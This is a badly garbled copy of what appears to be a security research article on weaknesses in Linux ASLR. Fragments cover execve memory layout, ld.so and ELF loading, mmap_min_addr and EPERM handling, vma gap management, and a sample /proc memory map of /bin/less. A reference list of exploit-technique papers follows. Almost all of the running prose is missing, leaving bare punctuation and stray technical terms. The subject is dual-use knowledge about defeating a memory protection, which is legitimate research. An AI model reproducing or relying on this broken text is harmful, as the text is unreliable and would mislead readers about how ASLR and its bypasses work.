, , , . , malloc. . (26). , ASLR.









, :







  1. «execve» .
  2. vma, ( stack_base ). 2^47 – pagesize ( pagesize — , x86-64 4096), random1 , 16 ( , , : , ).
  3. mmap_base — , . stack_baserandom2 – 128 , random2 , 1 16 .
  4. . PIE ( ), (2^47 – 1) * 2/3 + random3, random3 1 16 .
  5. , -, . ELF- ld glibc. mmap_base .
  6. ELF- random4 32 .


, , ELF- (ld), ELF- , ( «» ELF).







ASLR









, , , . ( ), .







, ASLR. , , .







, mmap - () mmap -:









Python, . ELF- . , , /proc: ld ( mmap_base) , . . . https://github.com/blackzert/aslur







6.1







, - .







  1. . glibc . — , , . . :




  1. :

    • «»;
    • , 1;
    • mmap .


7.



, . .







7.1 ld.so



4.4, ELF- Linux . , :

https://lkml.org/lkml/2017/7/14/290







7.2 ELF-



, glibc ELF- — , . PoC , https://github.com/blackzert/aslur







: , vaddr .







7.3 mmap_min_addr mmap



mmap , , : mmap . «», execve.







( 3) « , ». , mmap_min_addr. sysctl. , . 65536.







, mmap x86-64 Linux 4096, mmap_min_addr. cap_mmap_addr , 4096 mmap_min_addr.







cap_mmap_addr : «» . : , - , . , , , «» EPERM.







: , . , — EPERM .







mmap_min_addr . .







, , , — EPERM, . mmap :







” EPERM The operation was prevented by a file seal; see fcntl(2).”

EPERM MAP_ANONYMOUS, .







7.4 mmap



mmap — . , , — . , , . , — .







:







  1. . , () .
  2. , , , . () , , , . vma .
  3. - vma gap . , .


vma :







  1. gap, . vma , . , ENOMEM .
  2. gap , vma — .
  3. vma . - , .
  4. vma , vma . , . 1, gap.
  5. gap.


4 , gap .







, .







vma , gap. .







8. ASLR



/bin/less :







 314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so 314a2d301000-314a2d302000 r--p /lib/x86_64-linux-gnu/ld-2.26.so 314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so 314a2d303000-314a2d304000 rw-p 3169afcd8000-3169afcdb000 rw-p 316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94ac6000-316a94cc5000 ---p /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94cc5000-316a94cc9000 r--p /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9 3204e362d000-3204e3630000 rw-p 4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so 447800102000-447800302000 ---p /lib/x86_64-linux-gnu/libc-2.26.so 447800302000-447800306000 r--p /lib/x86_64-linux-gnu/libc-2.26.so 447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so 447800308000-44780030c000 rw-p 509000396000-509000d60000 r--p /usr/lib/locale/locale-archive 56011c1b1000-56011c1d7000 r-xp /bin/less 56011c3d6000-56011c3d7000 r--p /bin/less 56011c3d7000-56011c3db000 rw-p /bin/less 56011c3db000-56011c3df000 rw-p 56011e0d8000-56011e0f9000 rw-p [heap] 7fff6b4a4000-7fff6b4c5000 rw-p [stack] 7fff6b53b000-7fff6b53e000 r--p [vvar] 7fff6b53e000-7fff6b540000 r-xp [vdso] ffffffffff600000-ffffffffff601000 r-xp [vsyscall]
      
      





:







  1. , .
  2. «/usr/lib/locale/locale-archive», mmap, .
  3. «» /lib/x86_64-linux-gnu/ld-2.26.so mmap.


Ubuntu 17.04 Chrome Mozilla Firefox. .







9.



glibc . . :









ASLR . .







PoC. , . ASLR , Windows Mac OS X.







GNU Libc, .







ASLR , Windows, Mac OS X Android.







: .







参照資料



  1. Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection. [Online] Aug 2008. https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf .
  2. xorl. [Online] https://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/ .
  3. Reed Hastings, Bob Joyce. Purify: Fast Detection of Memory Leaks and Access Errors. [ ] December 1992 . https://web.stanford.edu/class/cs343/resources/purify.pdf .
  4. Improper Restriction of Operations within the Bounds of a Memory Buffer. [ ] https://cwe.mitre.org/data/definitions/119.html .
  5. AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%. [ ] http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html .
  6. Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR. [ ] http://www.cs.ucr.edu/~nael/pubs/micro16.pdf .
  7. Hector Marco-Gisbert, Ismael Ripoll. Offset2lib: bypassing full ASLR on 64bit Linux. [ ] https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html .
  8. Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. [ ] 2016 . https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf .
  9. Doubly linked list. [ ] https://en.wikipedia.org/wiki/Doubly_linked_list .
  10. Bayer, Rudolf. Symmetric binary B-Trees: Data structure and maintenance algorithms. [ ] 24 January 1972 . https://link.springer.com/article/10.1007%2FBF00289509 .
  11. Lespinasse, Michel. mm: use augmented rbtrees for finding unmapped areas. [ ] 5 November 2012 . https://lkml.org/lkml/2012/11/5/673 .
  12. Integer Overflow or Wraparound. [ ] https://cwe.mitre.org/data/definitions/190.html .
  13. Classic Buffer Overflow. [ ] https://cwe.mitre.org/data/definitions/120.html .
  14. Incorrect Type Conversion or Cast. [ ] https://cwe.mitre.org/data/definitions/704.html .
  15. CVE-2014-9427. [ ] https://www.cvedetails.com/cve/CVE-2014-9427/ .
  16. Security Enhancements in Android 7.0. [ ] https://source.android.com/security/enhancements/enhancements70 .
  17. Implement Library Load Order Randomization. [ ] https://android-review.googlesource.com/c/platform/bionic/+/178130/2 .
  18. Thread-Local Storage. [ ] http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html .
  19. One, Aleph. Smashing The Stack For Fun And Profit. [ ] http://www.phrack.org/issues/49/14.html#article .
  20. Fritsch, Hagen. Buffer overflows on linux-x86-64. [ ] 16 April 2009 . http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf .
  21. Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention. [ ] 8 September 2003 . https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf .
  22. Maxim Goryachy, Mark Ermolov. HOW TO HACK A TURNED-OFF COMPUTER, OR RUNNING. [ ] https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf .
  23. Use After Free. [ ] https://cwe.mitre.org/data/definitions/416.html .
  24. [ ] http://www.skyfree.org/linux/references/ELF_Format.pdf .
  25. Hocko, Michal. mm: introduce MAP_FIXED_SAFE. [ ] https://lwn.net/Articles/741335/ .
  26. Use of Uninitialized Variable. [ ] https://cwe.mitre.org/data/definitions/457.html .



All Articles